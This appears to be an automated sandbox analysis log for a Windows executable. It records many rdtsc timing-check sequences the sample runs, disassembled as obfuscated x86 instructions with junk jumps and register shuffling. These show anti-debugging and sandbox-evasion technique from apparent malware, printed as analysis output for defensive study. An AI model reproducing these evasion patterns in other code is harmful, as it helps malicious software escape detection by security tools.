Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0146 second address: 54C017F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FAC54ED35ADh 0x0000000a jmp 00007FAC54ED35ABh 0x0000000f popfd 0x00000010 popad 0x00000011 pop edx 0x00000012 pop eax 0x00000013 xchg eax, ebp 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FAC54ED35B5h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C017F second address: 54C0184 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0184 second address: 54C01CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 movsx edx, si 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov ebp, esp 0x0000000c pushad 0x0000000d mov ah, 0Bh 0x0000000f popad 0x00000010 push dword ptr [ebp+04h] 0x00000013 jmp 00007FAC54ED35B9h 0x00000018 push dword ptr [ebp+0Ch] 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e call 00007FAC54ED35B6h 0x00000023 pop esi 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0245 second address: 54C0249 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0249 second address: 54C0264 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC54ED35B7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E07C8 second address: 54E07CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E07CC second address: 54E07D2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E07D2 second address: 54E07D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E07D8 second address: 54E07DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E07DC second address: 54E0803 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007FAC54CD2CDDh 0x0000000e mov ebp, esp 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FAC54CD2CDDh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E06AD second address: 54E06BC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC54ED35ABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E06BC second address: 54E06FB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC54CD2CE9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushfd 0x00000010 jmp 00007FAC54CD2CDAh 0x00000015 adc si, 4078h 0x0000001a jmp 00007FAC54CD2CDBh 0x0000001f popfd 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E06FB second address: 54E076F instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FAC54ED35B8h 0x00000008 adc al, FFFFFFD8h 0x0000000b jmp 00007FAC54ED35ABh 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 pushfd 0x00000014 jmp 00007FAC54ED35B8h 0x00000019 jmp 00007FAC54ED35B5h 0x0000001e popfd 0x0000001f popad 0x00000020 mov ebp, esp 0x00000022 jmp 00007FAC54ED35AEh 0x00000027 pop ebp 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b push edi 0x0000002c pop eax 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E076F second address: 54E0774 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0418 second address: 54E0420 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 movsx ebx, si 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0420 second address: 54E0426 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0426 second address: 54E042A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E042A second address: 54E042E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F021F second address: 54F022E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC54ED35ABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F022E second address: 54F0289 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC54CD2CE9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b jmp 00007FAC54CD2CDCh 0x00000010 mov edi, eax 0x00000012 popad 0x00000013 push eax 0x00000014 jmp 00007FAC54CD2CE7h 0x00000019 xchg eax, ebp 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007FAC54CD2CE0h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F0289 second address: 54F028F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F028F second address: 54F02CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FAC54CD2CDCh 0x00000009 sub cx, 3C58h 0x0000000e jmp 00007FAC54CD2CDBh 0x00000013 popfd 0x00000014 mov dx, si 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov ebp, esp 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007FAC54CD2CE1h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F02CB second address: 54F02F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FAC54ED35B7h 0x00000008 pop eax 0x00000009 mov cx, bx 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F02F3 second address: 54F02F9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 550045C second address: 5500462 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500462 second address: 55004EF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC54CD2CDCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FAC54CD2CDEh 0x00000013 xor ah, FFFFFF98h 0x00000016 jmp 00007FAC54CD2CDBh 0x0000001b popfd 0x0000001c call 00007FAC54CD2CE8h 0x00000021 pushfd 0x00000022 jmp 00007FAC54CD2CE2h 0x00000027 add ecx, 234C9628h 0x0000002d jmp 00007FAC54CD2CDBh 0x00000032 popfd 0x00000033 pop esi 0x00000034 popad 0x00000035 mov ebp, esp 0x00000037 jmp 00007FAC54CD2CDFh 0x0000003c mov eax, dword ptr [ebp+08h] 0x0000003f push eax 0x00000040 push edx 0x00000041 pushad 0x00000042 push edi 0x00000043 pop eax 0x00000044 pushad 0x00000045 popad 0x00000046 popad 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55004EF second address: 5500548 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FAC54ED35B8h 0x00000009 add cl, FFFFFFE8h 0x0000000c jmp 00007FAC54ED35ABh 0x00000011 popfd 0x00000012 mov cx, 22DFh 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 and dword ptr [eax], 00000000h 0x0000001c jmp 00007FAC54ED35B2h 0x00000021 and dword ptr [eax+04h], 00000000h 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007FAC54ED35AAh 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500548 second address: 550054E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 550054E second address: 550055F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAC54ED35ADh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 550055F second address: 5500588 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC54CD2CE1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebp 0x0000000c pushad 0x0000000d jmp 00007FAC54CD2CDCh 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500588 second address: 550058C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0587 second address: 54E05C8 instructions: 0x00000000 rdtsc 0x00000002 mov cx, C6E7h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, 051EEA83h 0x0000000d popad 0x0000000e xchg eax, ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007FAC54CD2CDBh 0x00000018 and eax, 1B992F2Eh 0x0000001e jmp 00007FAC54CD2CE9h 0x00000023 popfd 0x00000024 push eax 0x00000025 pop edx 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55001B9 second address: 55001BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55001BD second address: 55001C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55001C3 second address: 5500216 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FAC54ED35AEh 0x00000008 pop esi 0x00000009 mov si, di 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushad 0x00000012 jmp 00007FAC54ED35B5h 0x00000017 popad 0x00000018 mov dx, cx 0x0000001b popad 0x0000001c mov dword ptr [esp], ebp 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007FAC54ED35B9h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500216 second address: 550024F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushfd 0x00000006 jmp 00007FAC54CD2CDDh 0x0000000b sub ax, ED86h 0x00000010 jmp 00007FAC54CD2CE1h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 mov ebp, esp 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e mov esi, ebx 0x00000020 mov bx, 731Ah 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 550024F second address: 5500255 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500255 second address: 550026C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC54CD2CDAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 550026C second address: 5500270 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500270 second address: 550028D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC54CD2CE9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530008 second address: 553000C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 553000C second address: 5530012 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530012 second address: 5530021 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAC54ED35ABh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530021 second address: 5530053 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC54CD2CE9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007FAC54CD2CDEh 0x00000011 push eax 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530053 second address: 5530122 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FAC54ED35AAh 0x00000008 xor cl, 00000078h 0x0000000b jmp 00007FAC54ED35ABh 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 mov edi, eax 0x00000015 popad 0x00000016 xchg eax, ebp 0x00000017 pushad 0x00000018 mov ah, 60h 0x0000001a pushfd 0x0000001b jmp 00007FAC54ED35ADh 0x00000020 jmp 00007FAC54ED35ABh 0x00000025 popfd 0x00000026 popad 0x00000027 mov ebp, esp 0x00000029 jmp 00007FAC54ED35B6h 0x0000002e xchg eax, ecx 0x0000002f jmp 00007FAC54ED35B0h 0x00000034 push eax 0x00000035 pushad 0x00000036 pushad 0x00000037 mov di, 10B2h 0x0000003b mov ax, dx 0x0000003e popad 0x0000003f mov cx, bx 0x00000042 popad 0x00000043 xchg eax, ecx 0x00000044 pushad 0x00000045 pushfd 0x00000046 jmp 00007FAC54ED35B7h 0x0000004b and cl, 0000005Eh 0x0000004e jmp 00007FAC54ED35B9h 0x00000053 popfd 0x00000054 push eax 0x00000055 push edx 0x00000056 pushfd 0x00000057 jmp 00007FAC54ED35AEh 0x0000005c adc ch, 00000058h 0x0000005f jmp 00007FAC54ED35ABh 0x00000064 popfd 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530122 second address: 5530150 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [775165FCh] 0x0000000c jmp 00007FAC54CD2CE2h 0x00000011 test eax, eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FAC54CD2CDAh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530150 second address: 5530156 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530156 second address: 55301F4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, eax 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007FACC6C364DEh 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007FAC54CD2CDBh 0x00000015 sbb cl, 0000002Eh 0x00000018 jmp 00007FAC54CD2CE9h 0x0000001d popfd 0x0000001e mov ebx, eax 0x00000020 popad 0x00000021 mov ecx, eax 0x00000023 pushad 0x00000024 mov bx, ax 0x00000027 mov cl, A1h 0x00000029 popad 0x0000002a xor eax, dword ptr [ebp+08h] 0x0000002d jmp 00007FAC54CD2CDCh 0x00000032 and ecx, 1Fh 0x00000035 pushad 0x00000036 push esi 0x00000037 mov edi, 50D722F0h 0x0000003c pop edi 0x0000003d pushfd 0x0000003e jmp 00007FAC54CD2CE6h 0x00000043 sbb cl, 00000038h 0x00000046 jmp 00007FAC54CD2CDBh 0x0000004b popfd 0x0000004c popad 0x0000004d ror eax, cl 0x0000004f push eax 0x00000050 push edx 0x00000051 jmp 00007FAC54CD2CE5h 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55301F4 second address: 5530210 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC54ED35B1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 leave 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530210 second address: 5530216 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530216 second address: 553023F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC54ED35B2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 retn 0004h 0x0000000c nop 0x0000000d mov esi, eax 0x0000000f lea eax, dword ptr [ebp-08h] 0x00000012 xor esi, dword ptr [00D42014h] 0x00000018 push eax 0x00000019 push eax 0x0000001a push eax 0x0000001b lea eax, dword ptr [ebp-10h] 0x0000001e push eax 0x0000001f call 00007FAC59703715h 0x00000024 push FFFFFFFEh 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007FAC54ED35AAh 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 553023F second address: 5530245 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530245 second address: 553024B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 553024B second address: 553024F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 553024F second address: 55302A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 jmp 00007FAC54ED35B4h 0x0000000e ret 0x0000000f nop 0x00000010 push eax 0x00000011 call 00007FAC5970374Ch 0x00000016 mov edi, edi 0x00000018 pushad 0x00000019 movzx ecx, bx 0x0000001c mov bx, 6DCEh 0x00000020 popad 0x00000021 push ebx 0x00000022 jmp 00007FAC54ED35B2h 0x00000027 mov dword ptr [esp], ebp 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007FAC54ED35B7h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55302A7 second address: 55302BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAC54CD2CE4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0008 second address: 54D0023 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC54ED35B7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0023 second address: 54D0029 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0029 second address: 54D00B8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC54ED35ABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FAC54ED35B4h 0x00000013 or cl, FFFFFFF8h 0x00000016 jmp 00007FAC54ED35ABh 0x0000001b popfd 0x0000001c pushfd 0x0000001d jmp 00007FAC54ED35B8h 0x00000022 or esi, 4C93BB58h 0x00000028 jmp 00007FAC54ED35ABh 0x0000002d popfd 0x0000002e popad 0x0000002f push eax 0x00000030 push eax 0x00000031 push edx 0x00000032 pushad 0x00000033 pushfd 0x00000034 jmp 00007FAC54ED35B2h 0x00000039 and si, C5B8h 0x0000003e jmp 00007FAC54ED35ABh 0x00000043 popfd 0x00000044 mov dx, ax 0x00000047 popad 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D00B8 second address: 54D00BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D00BE second address: 54D00C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D00C2 second address: 54D00F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007FAC54CD2CE3h 0x0000000e mov ebp, esp 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FAC54CD2CE5h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D00F7 second address: 54D00FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D00FD second address: 54D0189 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC54CD2CE3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b and esp, FFFFFFF8h 0x0000000e jmp 00007FAC54CD2CE6h 0x00000013 xchg eax, ecx 0x00000014 jmp 00007FAC54CD2CE0h 0x00000019 push eax 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007FAC54CD2CE1h 0x00000021 sub si, 3726h 0x00000026 jmp 00007FAC54CD2CE1h 0x0000002b popfd 0x0000002c mov eax, 79B5D057h 0x00000031 popad 0x00000032 xchg eax, ecx 0x00000033 push eax 0x00000034 push edx 0x00000035 pushad 0x00000036 movsx ebx, ax 0x00000039 jmp 00007FAC54CD2CE0h 0x0000003e popad 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0189 second address: 54D018F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D018F second address: 54D0193 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0193 second address: 54D01A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebp 0x00000009 pushad 0x0000000a mov al, 85h 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D01A2 second address: 54D01D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 mov dword ptr [esp], ebx 0x00000009 pushad 0x0000000a mov ebx, 628C39CAh 0x0000000f movsx edx, ax 0x00000012 popad 0x00000013 mov ebx, dword ptr [ebp+10h] 0x00000016 pushad 0x00000017 mov si, 870Fh 0x0000001b movzx esi, bx 0x0000001e popad 0x0000001f push ebp 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007FAC54CD2CE3h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D01D7 second address: 54D021D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, si 0x00000006 pushfd 0x00000007 jmp 00007FAC54ED35B0h 0x0000000c adc eax, 584F1318h 0x00000012 jmp 00007FAC54ED35ABh 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b mov dword ptr [esp], esi 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FAC54ED35B5h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D021D second address: 54D02F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, 6E42h 0x00000007 pushfd 0x00000008 jmp 00007FAC54CD2CE3h 0x0000000d sub cx, D53Eh 0x00000012 jmp 00007FAC54CD2CE9h 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b mov esi, dword ptr [ebp+08h] 0x0000001e pushad 0x0000001f mov edx, esi 0x00000021 movzx eax, di 0x00000024 popad 0x00000025 push ebx 0x00000026 jmp 00007FAC54CD2CE0h 0x0000002b mov dword ptr [esp], edi 0x0000002e pushad 0x0000002f mov ax, 54BDh 0x00000033 jmp 00007FAC54CD2CDAh 0x00000038 popad 0x00000039 test esi, esi 0x0000003b pushad 0x0000003c pushfd 0x0000003d jmp 00007FAC54CD2CDEh 0x00000042 jmp 00007FAC54CD2CE5h 0x00000047 popfd 0x00000048 pushfd 0x00000049 jmp 00007FAC54CD2CE0h 0x0000004e sbb ecx, 2E1B9E28h 0x00000054 jmp 00007FAC54CD2CDBh 0x00000059 popfd 0x0000005a popad 0x0000005b je 00007FACC6C91017h 0x00000061 pushad 0x00000062 jmp 00007FAC54CD2CE4h 0x00000067 push esi 0x00000068 push eax 0x00000069 push edx 0x0000006a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D02F2 second address: 54D031A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FAC54ED35B9h 0x00000014 rdtsc
